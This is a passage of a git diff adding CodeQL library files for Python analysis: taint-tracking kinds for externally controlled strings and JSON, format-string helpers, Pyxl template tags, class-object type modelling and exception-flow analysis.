PyEdgeRefinement test) { + taint instanceof StringKind and + exists(ControlFlowNode const, Cmpop op | + const.getNode() instanceof StrConst | + ( + test.getTest().(CompareNode).operands(const, op, _) + or + test.getTest().(CompareNode).operands(_, op, const) + ) and ( + op instanceof Eq and test.getSense() = true + or + op instanceof NotEq and test.getSense() = false + ) + ) + } + +} + +/* tonode = fromnode.xxx() where the call to xxx returns an identical or similar string */ +private predicate str_method_call(ControlFlowNode fromnode, CallNode tonode) { + exists(string method_name | + tonode.getFunction().(AttrNode).getObject(method_name) = fromnode + | + method_name = "strip" or method_name = "format" or + method_name = "lstrip" or method_name = "rstrip" or + method_name = "ljust" or method_name = "rjust" or + method_name = "title" or method_name = "capitalize" + ) +} + +/* tonode = ....format(fromnode) */ +private predicate str_format(ControlFlowNode fromnode, CallNode tonode) { + tonode.getFunction().(AttrNode).getName() = "format" and + ( + tonode.getAnArg() = fromnode + or + tonode.getNode().getAKeyword().getValue() = fromnode.getNode() + ) +} + +/* tonode = codec.[en|de]code(fromnode)*/ +private predicate encode_decode(ControlFlowNode fromnode, CallNode tonode) { + exists(FunctionObject func, string name | + func.getACall() = tonode and + tonode.getAnArg() = fromnode and + func.getName() = name | + name = "encode" or name = "decode" or + name = "decodestring" + ) +} + +/* tonode = str(fromnode)*/ +private predicate to_str(ControlFlowNode fromnode, CallNode tonode) { + tonode.getAnArg() = fromnode and + exists(ClassObject str | + tonode.getFunction().refersTo(str) | + str = theUnicodeType() or str = theBytesType() + ) +} + +/* tonode = fromnode[:] */ +private predicate slice(ControlFlowNode fromnode, SubscriptNode tonode) { + exists(Slice all | + all = tonode.getIndex().getNode() and + not exists(all.getStart()) and not exists(all.getStop()) and + tonode.getValue() = fromnode + ) +} + +/* tonode = os.path.join(..., fromnode, ...) */ +private predicate os_path_join(ControlFlowNode fromnode, CallNode tonode) { + exists(FunctionObject path_join | + exists(ModuleObject os | os.getName() = "os" | + os.getAttribute("path").(ModuleObject).getAttribute("join") = path_join + ) | + tonode = path_join.getACall() and tonode.getAnArg() = fromnode + ) +} diff --git a/python/ql/src/semmle/python/security/strings/Common.qll b/python/ql/src/semmle/python/security/strings/Common.qll new file mode 100644 index 00000000000..12b73acad8b --- /dev/null +++ b/python/ql/src/semmle/python/security/strings/Common.qll @@ -0,0 +1,16 @@ +import python + + +/* A call that returns a copy (or similar) of the argument */ +predicate copy_call(ControlFlowNode fromnode, CallNode tonode) { + tonode.getFunction().(AttrNode).getObject("copy") = fromnode + or + exists(ModuleObject copy, string name | + name = "copy" or name = "deepcopy" | + copy.getAttribute(name).(FunctionObject).getACall() = tonode and + tonode.getArg(0) = fromnode + ) + or + tonode.getFunction().refersTo(builtin_object("reversed")) and + tonode.getArg(0) = fromnode +} diff --git a/python/ql/src/semmle/python/security/strings/External.qll b/python/ql/src/semmle/python/security/strings/External.qll new file mode 100644 index 00000000000..e1f0406c691 --- /dev/null +++ b/python/ql/src/semmle/python/security/strings/External.qll @@ -0,0 +1,98 @@ +import python +import Basic +private import Common + +/** An extensible kind of taint representing an externally controlled string. + */ +abstract class ExternalStringKind extends StringKind { + + bindingset[this] + ExternalStringKind() { + this = this + } + + override TaintKind getTaintForFlowStep(ControlFlowNode fromnode, ControlFlowNode tonode) { + result = StringKind.super.getTaintForFlowStep(fromnode, tonode) + or + tonode.(SequenceNode).getElement(_) = fromnode and result.(ExternalStringSequenceKind).getItem() = this + or + json_load(fromnode, tonode) and result.(ExternalJsonKind).getValue() = this + or + tonode.(DictNode).getAValue() = fromnode and result.(ExternalStringDictKind).getValue() = this + } + +} + +/** A kind of "taint", representing a sequence, with a "taint" member */ +class ExternalStringSequenceKind extends SequenceKind { + + ExternalStringSequenceKind() { + this.getItem() instanceof ExternalStringKind + } + +} + +/** An hierachical dictionary or list where the entire structure is externally controlled + * This is typically a parsed JSON object. + */ +class ExternalJsonKind extends TaintKind { + + ExternalJsonKind() { + this = "json[" + any(ExternalStringKind key) + "]" + } + + + /** Gets the taint kind for item in this sequence */ + TaintKind getValue() { + this = "json[" + result + "]" + or + result = this + } + + override TaintKind getTaintForFlowStep(ControlFlowNode fromnode, ControlFlowNode tonode) { + this.taints(fromnode) and + json_subscript_taint(tonode, fromnode, this, result) + or + result = this and copy_call(fromnode, tonode) + } + + override TaintKind getTaintOfMethodResult(string name) { + name = "get" and result = this.getValue() + } + +} + +/** A kind of "taint", representing a dictionary mapping str->"taint" */ +class ExternalStringDictKind extends DictKind { + + ExternalStringDictKind() { + this.getValue() instanceof ExternalStringKind + } + +} + +/** A kind of "taint", representing a dictionary mapping strings to sequences of + * tainted strings */ + +class ExternalStringSequenceDictKind extends DictKind { + ExternalStringSequenceDictKind() { + this.getValue() instanceof ExternalStringSequenceKind + } +} + +/* Helper for getTaintForStep() */ +pragma [noinline] +private predicate json_subscript_taint(SubscriptNode sub, ControlFlowNode obj, ExternalJsonKind seq, TaintKind key) { + sub.isLoad() and + sub.getValue() = obj and + key = seq.getValue() +} + + +private predicate json_load(ControlFlowNode fromnode, CallNode tonode) { + exists(FunctionObject json_loads | + any(ModuleObject json | json.getName() = "json").getAttribute("loads") = json_loads and + json_loads.getACall() = tonode and tonode.getArg(0) = fromnode + ) +} + diff --git a/python/ql/src/semmle/python/security/strings/Untrusted.qll b/python/ql/src/semmle/python/security/strings/Untrusted.qll new file mode 100644 index 00000000000..65e624aa1b7 --- /dev/null +++ b/python/ql/src/semmle/python/security/strings/Untrusted.qll @@ -0,0 +1,14 @@ +import python +import External + + +/** A kind of taint representing an externally controlled string. + * This class is a simple sub-class of `ExternalStringKind`. + */ +class UntrustedStringKind extends ExternalStringKind { + + UntrustedStringKind() { + this = "externally controlled string" + } + +} diff --git a/python/ql/src/semmle/python/strings.qll b/python/ql/src/semmle/python/strings.qll new file mode 100644 index 00000000000..b35f831c248 --- /dev/null +++ b/python/ql/src/semmle/python/strings.qll @@ -0,0 +1,59 @@ +import python + +predicate format_string(StrConst e) { + exists(BinaryExpr b | b.getOp() instanceof Mod and b.getLeft() = e) +} + +predicate mapping_format(StrConst e) { + conversion_specifier(e, _).regexpMatch("%\\([A-Z_a-z0-9]+\\).*") +} + +/* +MAPPING_KEY = "(\\([^)]+\\))?" +CONVERSION_FLAGS = "[#0\\- +]?" +MINIMUM_FIELD_WIDTH = "(\\*|[0-9]*)" +PRECISION = "(\\.(\\*|[0-9]*))?" +LENGTH_MODIFIER = "[hlL]?" +TYPE = "[bdiouxXeEfFgGcrs%]" +*/ + +private +string conversion_specifier_string(StrConst e, int number, int position) { + exists(string s, string REGEX | s = e.getText() | + REGEX = "%(\\([^)]*\\))?[#0\\- +]*(\\*|[0-9]*)(\\.(\\*|[0-9]*))?(h|H|l|L)?[badiouxXeEfFgGcrs%]" and + result = s.regexpFind(REGEX, number, position)) +} + +private +string conversion_specifier(StrConst e, int number) { + result = conversion_specifier_string(e, number, _) and result != "%%" +} + +int illegal_conversion_specifier(StrConst e) { + format_string(e) and + "%" = e.getText().charAt(result) and + // not the start of a conversion specifier or the second % of a %% + not exists(conversion_specifier_string(e, _, result)) and + not exists(conversion_specifier_string(e, _, result - 1)) +} + +/** Gets the number of format items in a format string */ +int format_items(StrConst e) { + result = count(int i | | conversion_specifier(e, i)) + + // a conversion specifier uses an extra item for each * + count(int i, int j | conversion_specifier(e, i).charAt(j) = "*") +} + +private string str(Expr e) { + result = ((Num)e).getN() + or + result = "'" + ((StrConst)e).getText() + "'" +} + +/** Gets a string representation of an expression more suited for embedding in message strings than .toString() */ +string repr(Expr e) { + if exists(str(e)) then + result = str(e) + else + result = e.toString() +} diff --git a/python/ql/src/semmle/python/templates/PyxlTags.qll b/python/ql/src/semmle/python/templates/PyxlTags.qll new file mode 100644 index 00000000000..3ab3f8980bc --- /dev/null +++ b/python/ql/src/semmle/python/templates/PyxlTags.qll @@ -0,0 +1,107 @@ + + +import python + +/** A Tag in Pyxl (which gets converted to a call in Python). + * + */ +class PyxlTag extends Call { + + PyxlTag() { + pyxl_tag(this, _) + } + + string getPyxlTagName() { + pyxl_tag(this, result) + } + + /** Gets the pyxl or Python node that is enclosed by this one in the pyxl source */ + Expr getEnclosedNode() { + none() + } + + /** Gets the Python code (if any) that is contained in this pyxl node */ + Expr getEnclosedPythonCode() { + result = this.getEnclosedNode() and not result instanceof PyxlTag + or + result = ((PyxlTag)this.getEnclosedNode()).getEnclosedPythonCode() + } + +} + +private predicate pyxl_tag(Call c, string name) { + exists(Attribute tag, Name html | + tag = c.getFunc() and + html = tag.getObject() and + name = tag.getName() and + html.getId() = "html" + ) +} + +class PyxlHtmlTag extends PyxlTag { + + PyxlHtmlTag() { + this.getPyxlTagName().prefix(2) = "x_" + } + + string getTagName() { + result = this.getPyxlTagName().suffix(2) + } + + /** Html tags get transformed into a call. This node is the callee function and the enclosed node is an argument. */ + override Expr getEnclosedNode() { + exists(Call c | + c.getFunc() = this and + result = c.getAnArg() + ) + } + +} + +class PyxlIfTag extends PyxlTag { + + PyxlIfTag() { + this.getPyxlTagName() = "_push_condition" + } + + override Expr getEnclosedNode() { + result = this.getAnArg() + } +} + +class PyxlEndIfTag extends PyxlTag { + + PyxlEndIfTag() { + this.getPyxlTagName() = "_leave_if" + } + + override Expr getEnclosedNode() { + result = this.getAnArg() + } + +} + +class PyxlRawHtml extends PyxlTag{ + + PyxlRawHtml() { + this.getPyxlTagName() = "rawhtml" + } + + /** The text for this raw html, if it is simple text. */ + string getText() { + exists(Unicode text | + text = this.getValue() and + result = text.getS() + ) + } + + Expr getValue() { + result = this.getArg(0) + } + + override Expr getEnclosedNode() { + result = this.getAnArg() + } + +} + diff --git a/python/ql/src/semmle/python/templates/Templates.qll b/python/ql/src/semmle/python/templates/Templates.qll new file mode 100644 index 00000000000..2aec12119a2 --- /dev/null +++ b/python/ql/src/semmle/python/templates/Templates.qll @@ -0,0 +1,24 @@ +import python + + +abstract class Template extends Module { + +} + +class SpitfireTemplate extends Template { + + SpitfireTemplate() { + this.getKind() = "Spitfire template" + } + +} + +class PyxlModule extends Template { + + PyxlModule() { + exists(Comment c | c.getLocation().getFile() = this.getFile() | + c.getText().regexpMatch("# *coding.*pyxl.*") + ) + } + +} diff --git a/python/ql/src/semmle/python/types/ClassObject.qll b/python/ql/src/semmle/python/types/ClassObject.qll new file mode 100644 index 00000000000..2aa5e9f4a92 --- /dev/null +++ b/python/ql/src/semmle/python/types/ClassObject.qll @@ -0,0 +1,612 @@ +import python +private import semmle.python.pointsto.PointsTo +private import semmle.python.pointsto.Base +private import semmle.python.pointsto.MRO as MRO + +predicate is_c_metaclass(Object o) { + py_special_objects(o, "type") + or + exists(Object sup | py_cmembers_versioned(o, ".super.", sup, major_version().toString()) and is_c_metaclass(sup)) +} + + +library class ObjectOrCfg extends @py_object { + + string toString() { + /* Not to be displayed */ + none() + } + + ControlFlowNode getOrigin() { + result = this + } + +} + +/** A class whose instances represents Python classes. + * Instances of this class represent either builtin classes + * such as `list` or `str`, or program-defined Python classes + * present in the source code. + * + * Generally there is a one-to-one mapping between classes in + * the Python program and instances of this class in the database. + * However, that is not always the case. For example, dynamically + * generated classes may share a single QL class instance. + * Also the existence of a class definition in the source code + * does not guarantee that such a class will ever exist in the + * running program. + */ +class ClassObject extends Object { + + ClassObject() { + this.getOrigin() instanceof ClassExpr or + py_cobjecttypes(_, this) or + exists(Object meta | py_cobjecttypes(this, meta) and is_c_metaclass(meta)) or + py_special_objects(this, "_semmle_unknown_type") + } + + private predicate isStr() { + py_special_objects(this, "bytes") and major_version() = 2 + or + py_special_objects(this, "unicode") and major_version() = 3 + } + + /** Gets the short (unqualified) name of this class */ + string getName() { + this.isStr() and result = "str" + or + not this.isStr() and py_cobjectnames(this, result) and not this = theUnknownType() + or + result = this.getPyClass().getName() + } + + /** Gets the qualified name for this class. + * Should return the same name as the `__qualname__` attribute on classes in Python 3. + */ + string getQualifiedName() { + py_cobjectnames(this, _) and result = this.getName() + or + result = this.getPyClass().getQualifiedName() + } + + /** Gets the nth base class of this class */ + Object getBaseType(int n) { + result = PointsTo::Types::class_base_type(this, n) + } + + /** Gets a base class of this class */ + Object getABaseType() { + result = this.getBaseType(_) + } + + /** Whether this class has a base class */ + predicate hasABase() { + exists(ClassExpr cls | this.getOrigin() = cls | exists(cls.getABase())) + or + /* The extractor uses the special name ".super." to indicate the super class of a builtin class */ + py_cmembers_versioned(this, ".super.", _, major_version().toString()) + } + + /** Gets a super class of this class (includes transitive super classes) */ + ClassObject getASuperType() { + result = PointsTo::Types::get_a_super_type(this) + } + + /** Gets a super class of this class (includes transitive super classes) or this class */ + ClassObject getAnImproperSuperType() { + result = PointsTo::Types::get_an_improper_super_type(this) + } + + /** Whether this class is a new style class. + A new style class is one that implicitly or explicitly inherits from `object`. */ + predicate isNewStyle() { + PointsTo::Types::is_new_style(this) + } + + /** Whether this class is a legal exception class. + * What constitutes a legal exception class differs between major versions */ + predicate isLegalExceptionType() { + not this.isNewStyle() or + this.getAnImproperSuperType() = theBaseExceptionType() + or + major_version() = 2 and this = theTupleType() + } + + /** Gets the scope associated with this class, if it is not a builtin class */ + Class getPyClass() { + result.getClassObject() = this + } + + /** Returns an attribute declared on this class (not on a super-class) */ + Object declaredAttribute(string name) { + PointsTo::Types::class_declared_attribute(this, name, result, _, _) + } + + /** Returns an attribute declared on this class (not on a super-class) */ + predicate declaresAttribute(string name) { + class_declares_attribute(this, name) + } + + /** Returns an attribute as it would be when looked up at runtime on this class. + Will include attributes of super-classes */ + Object lookupAttribute(string name) { + result = this.getMro().lookup(name) + } + + MRO::ClassList getMro() { + PointsTo::Types::is_new_style_bool(this) = true and + result = MRO::new_style_mro(this) + or + result = MRO::old_style_mro(this) + } + + /** Looks up an attribute by searching this class' MRO starting at `start` */ + Object lookupMro(ClassObject start, string name) { + result = this.getMro().startingAt(start).lookup(name) + } + + /** Whether the named attribute refers to the object and origin */ + predicate attributeRefersTo(string name, Object obj, ControlFlowNode origin) { + PointsTo::Types::class_attribute_lookup(this, name, obj, _, origin) + } + + /** Whether the named attribute refers to the object, class and origin */ + predicate attributeRefersTo(string name, Object obj, ClassObject cls, ControlFlowNode origin) { + not obj = unknownValue() and + PointsTo::Types::class_attribute_lookup(this, name, obj, cls, origin) + } + + /** Whether this class has a attribute named `name`, either declared or inherited.*/ + predicate hasAttribute(string name) { + PointsTo::Types::class_has_attribute(this, name) + } + + /** Whether it is impossible to know all the attributes of this class. Usually because it is + impossible to calculate the full class hierarchy or because some attribute is too dynamic. */ + predicate unknowableAttributes() { + /* True for a class with undeterminable superclasses, unanalysable metaclasses, or other confusions */ + this.failedInference() + or + this.getMetaClass().failedInference() + or + exists(Object base | + base = this.getABaseType() | + base.(ClassObject).unknowableAttributes() + or + not base instanceof ClassObject + ) + } + + /** Gets the metaclass for this class */ + ClassObject getMetaClass() { + result = PointsTo::Types::class_get_meta_class(this) + and + not this.failedInference() + } + + /* Whether this class is abstract. */ + predicate isAbstract() { + this.getMetaClass() = theAbcMetaClassObject() + or + exists(FunctionObject f, Raise r, Name ex | + f = this.lookupAttribute(_) and + r.getScope() = f.getFunction() | + (r.getException() = ex or r.getException().(Call).getFunc() = ex) and + (ex.getId() = "NotImplementedError" or ex.getId() = "NotImplemented") + ) + } + + ControlFlowNode declaredMetaClass() { + result = this.getPyClass().getMetaClass().getAFlowNode() + } + + /** Has type inference failed to compute the full class hierarchy for this class for the reason given. */ + predicate failedInference(string reason) { + PointsTo::Types::failed_inference(this, reason) + } + + /** Has type inference failed to compute the full class hierarchy for this class */ + predicate failedInference() { + this.failedInference(_) + } + + /** Gets an object which is the sole instance of this class, if this class is probably a singleton. + * Note the 'probable' in the name; there is no guarantee that this class is in fact a singleton. + * It is guaranteed that getProbableSingletonInstance() returns at most one Object for each ClassObject. */ + Object getProbableSingletonInstance() { + exists(ControlFlowNode use, Expr origin | + use.refersTo(result, this, origin.getAFlowNode()) + | + this.hasStaticallyUniqueInstance() + and + /* Ensure that original expression will be executed only one. */ + origin.getScope() instanceof ImportTimeScope and + not exists(Expr outer | outer.getASubExpression+() = origin) + ) + or + this = theNoneType() and result = theNoneObject() + } + + /** This class is only instantiated at one place in the code */ + private predicate hasStaticallyUniqueInstance() { + strictcount(Object instances | PointsTo::points_to(_, _, instances, this, _)) = 1 + } + + ImportTimeScope getImportTimeScope() { + result = this.getPyClass() + } + + override string toString() { + this.isC() and result = "builtin-class " + this.getName() and not this = theUnknownType() + or + not this.isC() and result = "class " + this.getName() + } + + /* Method Resolution Order */ + + /** Returns the next class in the MRO of 'this' after 'sup' */ + ClassObject nextInMro(ClassObject sup) { + exists(MRO::ClassList mro, int i | + mro = this.getMro() and + sup = mro.getItem(i) and + result = mro.getItem(i+1) + ) and + not this.failedInference() + } + + /** Gets the MRO for this class. ClassObject `sup` occurs at `index` in the list of classes. + * `this` has an index of `1`, the next class in the MRO has an index of `2`, and so on. + */ + ClassObject getMroItem(int index) { + result = this.getMro().getItem(index) + } + + /** Holds if this class has duplicate base classes */ + predicate hasDuplicateBases() { + exists(ClassObject base, int i, int j | i != j and base = this.getBaseType(i) and base = this.getBaseType(j)) + } + + /** Holds if this class is an iterable. */ + predicate isIterable() { + this.hasAttribute("__iter__") or this.hasAttribute("__getitem__") + } + + /** Holds if this class is an iterator. */ + predicate isIterator() { + this.hasAttribute("__iter__") and + (major_version() = 3 and this.hasAttribute("__next__") + or + /* Because 'next' is a common method name we need to check that an __iter__ + * method actually returns this class. This is not needed for Py3 as the + * '__next__' method exists to define a class as an iterator. + */ + major_version() = 2 and this.hasAttribute("next") and + exists(ClassObject other, FunctionObject iter | + other.declaredAttribute("__iter__") = iter | + iter.getAnInferredReturnType() = this + ) + ) + or + /* This will be redundant when we have C class information */ + this = theGeneratorType() + } + + /** Holds if this class is an improper subclass of the other class. + * True if this is a sub-class of other or this is the same class as other. + * + * Equivalent to the Python builtin function issubclass(). + */ + predicate isSubclassOf(ClassObject other) { + this = other or this.getASuperType() = other + } + + /** Synonymous with isContainer(), retained for backwards compatibility. */ + predicate isCollection() { + this.isContainer() + } + + /** Holds if this class is a container(). That is, does it have a __getitem__ method.*/ + predicate isContainer() { + exists(this.lookupAttribute("__getitem__")) + } + + /** Holds if this class is a mapping. */ + predicate isMapping() { + exists(this.lookupAttribute("__getitem__")) + and + not this.isSequence() + } + + /** Holds if this class is probably a sequence. */ + predicate isSequence() { + /* To determine whether something is a sequence or a mapping is not entirely clear, + * so we need to guess a bit. + */ + this.getAnImproperSuperType() = theTupleType() + or + this.getAnImproperSuperType() = theListType() + or + this.getAnImproperSuperType() = theRangeType() + or + this.getAnImproperSuperType() = theBytesType() + or + this.getAnImproperSuperType() = theUnicodeType() + or + /* Does this inherit from abc.Sequence? */ + this.getASuperType().getName() = "Sequence" + or + /* Does it have an index or __reversed__ method? */ + this.isContainer() and + ( + this.hasAttribute("index") or + this.hasAttribute("__reversed__") + ) + } + + predicate isCallable() { + this.hasAttribute("__call__") + } + + predicate isContextManager() { + this.hasAttribute("__enter__") and this.hasAttribute("__exit__") + } + + predicate assignedInInit(string name) { + exists(FunctionObject init | init = this.lookupAttribute("__init__") | + attribute_assigned_in_method(init, name) + ) + } + + /** Holds if this class is unhashable */ + predicate unhashable() { + this.lookupAttribute("__hash__") = theNoneObject() + or + ((FunctionObject)this.lookupAttribute("__hash__")).neverReturns() + } + + /** Holds if this class is a descriptor */ + predicate isDescriptorType() { + this.hasAttribute("__get__") + } + + /** Holds if this class is an overriding descriptor */ + predicate isOverridingDescriptorType() { + this.hasAttribute("__get__") and this.hasAttribute("__set__") + } + + FunctionObject getAMethodCalledFromInit() { + exists(FunctionObject init | + init = this.lookupAttribute("__init__") and + init.getACallee*() = result + ) + } + + override boolean booleanValue() { + result = true + } + + /** Gets a call to this class. Note that the call may not create a new instance of + * this class, as that depends on the `__new__` method of this class. + */ + CallNode getACall() { + result.getFunction().refersTo(this) + } + +} + +/** The 'str' class. This is the same as the 'bytes' class for + * Python 2 and the 'unicode' class for Python 3 */ +ClassObject theStrType() { + if major_version() = 2 then + result = theBytesType() + else + result = theUnicodeType() +} + +private +Module theAbcModule() { + result.getName() = "abc" +} + +ClassObject theAbcMetaClassObject() { + /* Avoid using points-to and thus negative recursion */ + exists(Class abcmeta | + result.getPyClass() = abcmeta | + abcmeta.getName() = "ABCMeta" and + abcmeta.getScope() = theAbcModule() + ) +} + +/* Common builtin classes */ + +/** The built-in class NoneType*/ +ClassObject theNoneType() { + py_special_objects(result, "NoneType") +} + +/** The built-in class 'bool' */ +ClassObject theBoolType() { + py_special_objects(result, "bool") +} + +/** The builtin class 'type' */ +ClassObject theTypeType() { + py_special_objects(result, "type") +} + +/** The builtin object ClassType (for old-style classes) */ +ClassObject theClassType() { + py_special_objects(result, "ClassType") +} + +/** The builtin object InstanceType (for old-style classes) */ +ClassObject theInstanceType() { + py_special_objects(result, "InstanceType") +} + +/** The builtin class 'tuple' */ +ClassObject theTupleType() { + py_special_objects(result, "tuple") +} + +/** The builtin class 'int' */ +ClassObject theIntType() { + py_special_objects(result, "int") +} + +/** The builtin class 'long' (Python 2 only) */ +ClassObject theLongType() { + py_special_objects(result, "long") +} + +/** The builtin class 'float' */ +ClassObject theFloatType() { + py_special_objects(result, "float") +} + +/** The builtin class 'complex' */ +ClassObject theComplexType() { + py_special_objects(result, "complex") +} + +/** The builtin class 'object' */ +ClassObject theObjectType() { + py_special_objects(result, "object") +} + +/** The builtin class 'list' */ +ClassObject theListType() { + py_special_objects(result, "list") +} + +/** The builtin class 'dict' */ + +ClassObject theDictType() { + py_special_objects(result, "dict") +} + +/** The builtin class 'Exception' */ + +ClassObject theExceptionType() { + py_special_objects(result, "Exception") +} + +/** The builtin class for unicode. unicode in Python2, str in Python3 */ +ClassObject theUnicodeType() { + py_special_objects(result, "unicode") +} + +/** The builtin class '(x)range' */ +ClassObject theRangeType() { + result = builtin_object("xrange") + or + major_version() = 3 and result = builtin_object("range") +} + +/** The builtin class for bytes. str in Python2, bytes in Python3 */ +ClassObject theBytesType() { + py_special_objects(result, "bytes") +} + +/** The builtin class 'set' */ +ClassObject theSetType() { + py_special_objects(result, "set") +} + +/** The builtin class 'property' */ +ClassObject thePropertyType() { + py_special_objects(result, "property") +} + +/** The builtin class 'BaseException' */ +ClassObject theBaseExceptionType() { + py_special_objects(result, "BaseException") +} + +/** The class of builtin-functions */ +ClassObject theBuiltinFunctionType() { + py_special_objects(result, "BuiltinFunctionType") +} + +/** The class of Python functions */ +ClassObject thePyFunctionType() { + py_special_objects(result, "FunctionType") +} + +/** The builtin class 'classmethod' */ +ClassObject theClassMethodType() { + py_special_objects(result, "ClassMethod") +} + +/** The builtin class 'staticmethod' */ +ClassObject theStaticMethodType() { + py_special_objects(result, "StaticMethod") +} + +/** The class of modules */ +ClassObject theModuleType() { + py_special_objects(result, "ModuleType") +} + +/** The class of generators */ +ClassObject theGeneratorType() { + py_special_objects(result, "generator") +} + +/** The builtin class 'TypeError' */ +ClassObject theTypeErrorType() { + py_special_objects(result, "TypeError") +} + +/** The builtin class 'AttributeError' */ +ClassObject theAttributeErrorType() { + py_special_objects(result, "AttributeError") +} + +/** The builtin class 'KeyError' */ +ClassObject theKeyErrorType() { + py_special_objects(result, "KeyError") +} + +/** The builtin class of bound methods */ +pragma [noinline] +ClassObject theBoundMethodType() { + py_special_objects(result, "MethodType") +} + +/** The builtin class of builtin properties */ +ClassObject theGetSetDescriptorType() { + py_special_objects(result, "GetSetDescriptorType") +} + +/** The method descriptor class */ +ClassObject theMethodDescriptorType() { + py_special_objects(result, "MethodDescriptorType") +} + +/** The class of builtin properties */ +ClassObject theBuiltinPropertyType() { + /* This is CPython specific */ + result.isC() and + result.getName() = "getset_descriptor" +} + +/** The builtin class 'IOError' */ +ClassObject theIOErrorType() { + result = builtin_object("IOError") +} + +/** The builtin class 'super' */ +ClassObject theSuperType() { + result = builtin_object("super") +} + +/** The builtin class 'StopIteration' */ +ClassObject theStopIterationType() { + result = builtin_object("StopIteration") +} + +/** The builtin class 'NotImplementedError' */ +ClassObject theNotImplementedErrorType() { + result = builtin_object("NotImplementedError") +} diff --git a/python/ql/src/semmle/python/types/Descriptors.qll b/python/ql/src/semmle/python/types/Descriptors.qll new file mode 100644 index 00000000000..168597d0eed --- /dev/null +++ b/python/ql/src/semmle/python/types/Descriptors.qll @@ -0,0 +1,59 @@ +import python +private import semmle.python.pointsto.PointsTo + +/** A bound method object, x.f where type(x) has a method f */ +class BoundMethod extends Object { + + BoundMethod() { + bound_method(this, _) + } + + /* Gets the method 'f' in 'x.f' */ + FunctionObject getMethod() { + bound_method(this, result) + } + +} + +private predicate bound_method(AttrNode binding, FunctionObject method) { + binding = method.getAMethodCall().getFunction() +} + +private predicate decorator_call(Object method, ClassObject decorator, FunctionObject func) { + exists(CallNode f | + method = f and + f.getFunction().refersTo(decorator) and + PointsTo::points_to(f.getArg(0), _, func, _, _) + ) +} + +/** A class method object. Either a decorated function or an explicit call to classmethod(f) */ +class ClassMethodObject extends Object { + + ClassMethodObject() { + PointsTo::class_method(this, _) + } + + FunctionObject getFunction() { + PointsTo::class_method(this, result) + } + + CallNode getACall() { + PointsTo::class_method_call(this, _, _, _, result) + } + +} + +/** A static method object. Either a decorated function or an explicit call to staticmethod(f) */ +class StaticMethodObject extends Object { + + StaticMethodObject() { + decorator_call(this, theStaticMethodType(), _) + } + + FunctionObject getFunction() { + decorator_call(this, theStaticMethodType(), result) + } + +} + diff --git a/python/ql/src/semmle/python/types/Exceptions.qll b/python/ql/src/semmle/python/types/Exceptions.qll new file mode 100644 index 00000000000..485c0112116 --- /dev/null +++ b/python/ql/src/semmle/python/types/Exceptions.qll @@ -0,0 +1,331 @@ +/** + * Analysis of exception raising and handling. + * + * In order to make this useful we make a number of assumptions. These are: + * 1. Typing errors (TypeError, NameError, AttributeError) are assumed to occur only if: + * a) Explicitly raised, e.g. raise TypeError() + * or + * b) Explicitly caught, e.g. except TypeError: + * 2. Asynchronous exceptions, MemoryError, KeyboardInterrupt are ignored. + * 3. Calls to unidentified objects can raise anything, unless it is an + * attribute named 'read' or 'write' in which case it can raise IOError. + */ + +import python + +/** Subset of ControlFlowNodes which might raise an exception */ +class RaisingNode extends ControlFlowNode { + + RaisingNode() { + exists(this.getAnExceptionalSuccessor()) + or + this.isExceptionalExit(_) + } + + /** Gets the CFG node for the exception, if and only if this RaisingNode is an explicit raise */ + ControlFlowNode getExceptionNode() { + exists(Raise r | + r = this.getNode() and result.getNode() = r.getRaised() and + result.getBasicBlock().dominates(this.getBasicBlock()) + ) + } + + private predicate quits() { + this.(CallNode).getFunction().refersTo(quitterObject(_)) + } + + /** Gets the type of an exception that may be raised + at this control flow node */ + ClassObject getARaisedType() { + result = this.localRaisedType() + or + exists(FunctionObject func | + this = func.getACall() | + result = func.getARaisedType() + ) + or + result = systemExitRaise() + } + + pragma[noinline] + private ClassObject systemExitRaise() { + this.quits() and result = builtin_object("SystemExit") + } + + pragma [noinline, nomagic] + private ClassObject localRaisedType() { + result.isSubclassOf(theBaseExceptionType()) + and + ( + exists(ControlFlowNode ex | + ex = this.getExceptionNode() and + (ex.refersTo(result) or ex.refersTo(_, result, _)) + ) + or + this.getNode() instanceof ImportExpr and result = builtin_object("ImportError") + or + this.getNode() instanceof Print and result = theIOErrorType() + or + exists(ExceptFlowNode except | + except = this.getAnExceptionalSuccessor() and + except.handles(result) and + result = this.innateException() + ) + or + not exists(ExceptFlowNode except | except = this.getAnExceptionalSuccessor()) + and + sequence_or_mapping(this) and result = theLookupErrorType() + or + this.read_write_call() and result = theIOErrorType() + ) + } + + pragma [noinline] + ClassObject innateException() { + this.getNode() instanceof Attribute and result = theAttributeErrorType() + or + this.getNode() instanceof Name and result = theNameErrorType() + or + this.getNode() instanceof Subscript and result = theIndexErrorType() + or + this.getNode() instanceof Subscript and result = theKeyErrorType() + } + + /** Whether this control flow node raises an exception, + * but the type of the exception it raises cannot be inferred. */ + predicate raisesUnknownType() { + /* read/write calls are assumed to raise IOError (OSError for Py3) */ + not this.read_write_call() + and + ( + /* Call to an unknown object */ + this.getNode() instanceof Call and not exists(FunctionObject func | this = func.getACall()) + and not exists(ClassObject known | this.(CallNode).getFunction().refersTo(known)) + or + this.getNode() instanceof Exec + or + /* Call to a function raising an unknown type */ + exists(FunctionObject func | + this = func.getACall() | + func.raisesUnknownType() + ) + ) + } + + private predicate read_write_call() { + exists(string mname | mname = this.(CallNode).getFunction().(AttrNode).getName() | + mname = "read" or mname = "write" + ) + } + + /** Whether (as inferred by type inference) it is highly unlikely (or impossible) for control to flow from this to succ. + */ + predicate unlikelySuccessor(ControlFlowNode succ) { + succ = this.getAnExceptionalSuccessor() and + not this.viableExceptionEdge(succ, _) and + not this.raisesUnknownType() + or + exists(FunctionObject func | + func.getACall() = this and + func.neverReturns() and + succ = this.getASuccessor() and + not succ = this.getAnExceptionalSuccessor() and + // If result is yielded then func is likely to be some form of coroutine. + not succ.getNode() instanceof Yield + ) + or + this.quits() and + succ = this.getASuccessor() and + not succ = this.getAnExceptionalSuccessor() + } + + /** Whether it is considered plausible that 'raised' can be raised across the edge this-succ */ + predicate viableExceptionEdge(ControlFlowNode succ, ClassObject raised) { + raised.isLegalExceptionType() and + raised = this.getARaisedType() and + succ = this.getAnExceptionalSuccessor() and + ( + /* An 'except' that handles raised and there is no more previous handler */ + ((ExceptFlowNode)succ).handles(raised) and + not exists(ExceptFlowNode other, StmtList s, int i, int j | + not other = succ and other.handles(raised) and + s.getItem(i) = succ.getNode() and s.getItem(j) = other.getNode() + | + j < i + ) + or + /* Any successor that is not an 'except', provided that 'raised' is not handled by a different successor. */ + (not ((ExceptFlowNode)this.getAnExceptionalSuccessor()).handles(raised) and + not succ instanceof 